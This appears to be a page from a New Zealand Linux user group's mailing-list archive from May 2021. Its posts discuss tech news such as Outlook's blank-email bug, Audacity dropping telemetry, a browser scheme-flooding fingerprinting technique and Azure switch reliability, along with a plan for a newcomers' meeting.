18 May '21

The recent problem Outlook users were having with e-mails turning up blank was due to an interaction with Word <https://www.theregister.com/2021/05/17/outlook_incident_report/>. Why Word? Because management of HTML-format mails in Outlook used to be the responsibility of (an embedded instance of) Internet Explorer, until that was abandoned because of all the security holes. So now Word handles that feature: For those who wonder why Outlook makes it so hard to format emails sensibly when doing things like quoting parts of an email received in the reply and typing in-line comments, or putting the background of the incoming email behind the reply: it is the interaction with Word that is to blame. Fair warning: ... today's Windows and Office 365 users are one bad update away from hours of lost productivity.

1 0

Amid Public Pressure Audacity Says It Will Not Collect Telemetry Data From Users
by Peter Reutemann 18 May '21

18 May '21

'After its recent announcement about plans to add telemetry collection prompted backlash, popular audio editor Audacity has announced it won't go ahead with the plan to collect its users' data. BetaNews reports: Audacity's new owner, Muse Group, has bowed to pressure from users and privacy advocates, announcing that the planned telemetry collection will no longer be going ahead. The company is blaming "communication mistakes" and public "misunderstanding" for the negative response to its previous data collection announcement.' -- source: https://yro.slashdot.org/story/21/05/17/191201 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

AT&T To Spin Off WarnerMedia
by Lawrence D'Oliveiro 18 May '21

18 May '21

Another questionable mega-acquisition bites the dust <https://arstechnica.com/tech-policy/2021/05/att-to-spin-off-warnermedia-wil…>, with AT&T admitting it made a mistake by trying to become a media conglomerate. There is a local element to this story. The company called Discovery, that is planning to buy these assets, also owns Three (aka TV3, aka NewsHub). So there will inevitably be some impact in our own little neck of the woods, though whether that will be for better or worse is the question <https://www.nzherald.co.nz/business/the-spinoff-a-blockbuster-media-deal-co…>.

1 0

Apple’s M1: Throughput Versus Latency
by Lawrence D'Oliveiro 18 May '21

18 May '21

An old lesson gets learned yet again <https://arstechnica.com/gadgets/2021/05/apples-m1-is-a-fast-cpu-but-m1-macs…>: efficiency and responsiveness in a computer system are often at odds, and improving one can hurt the other. We can also see a negative example—one in which the fastest throughput corresponded to distinctly unhappy users—with the circa-2006 introduction of the Completely Fair Queue (cfq) I/O scheduler in the Linux kernel. ... Unfortunately, while cfq did in fact measurably improve maximum throughput, it did so at the increase of task latency—which meant that a moderately loaded system felt sluggish and unresponsive to its users, leading to a large groundswell of complaints.

1 0

WLUG May 24 meeting
by Peter Reutemann 15 May '21

15 May '21

Hi everyone For our WLUG meeting on May 24, I was thinking of an evening aimed at people new to Linux or ones that would like to give it a go. Attendees could bring their laptops and a 4GB+ USB stick to the meeting. Then we can put various OSes on the sticks for them to try (and they don't have to download and dd these themselves). With a bunch of more experienced Linux users there to give them a hand, it should be a more rewarding evening for most newcomers. I would also announce it a bit earlier here at uni then and maybe attract some students. What are your thoughts? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 4

Scheme-Flooding Browser Attack
by Lawrence D'Oliveiro 15 May '21

15 May '21

A company that makes a browser-fingerprinting library (ostensibly for fraud prevention) claims to have found <https://www.theregister.com/2021/05/14/browser_fingerprinting_flaw/> a (admittedly fiddly and not entirely reliable) way to uniquely fingerprint your machine even though you might be using a range of different browsers. This is done by trying to access custom URL schemes as installed by various custom apps, since the presence of these apps is independent of which browser you might be using. So I tried their schemeflood.com proof-of-concept site, it churned away for a few seconds, with a little extra window flickering at the bottom, then I got a message saying “The clearkey plugin has crashed”. It also showed me the identifier it computed for me, which was “0FVVVV”, based on “0 applications you have installed ... out of 24 applications in our database”. Apparently that’s only been seen 1471 times out of 17496 tests so far, which makes it “91.59% unique”.

1 0

The Stats On Microsoft’s Azure Data Centre Switch Failures
by Lawrence D'Oliveiro 13 May '21

13 May '21

Microsoft has put out a paper <https://www.nextplatform.com/2021/05/12/microsoft-does-the-math-on-azure-da…> detailing its experiences with the reliability of various vendors’ switches within its Azure data centres. It has a total of over 180,000 switches, and many of them are running “SONiC”, which is a Microsoft-developed Linux variant as an alternative to the vendors’ own proprietary switch OSes. The adoption of SONiC made a major difference to the reliability of the switches: ... in the aggregate, the switches in the Azure network had a 98 percent uptime during those three months, and if Microsoft moved to SONiC on all of its machines, that would boost that to around 99 percent. And if Microsoft is not doing that, we suspect that SONiC has some scale and performance issues. In the future we may be writing about how Microsoft tossed out all other NOSes, but that is not what is happening now, and we suspect for good reasons.

2 1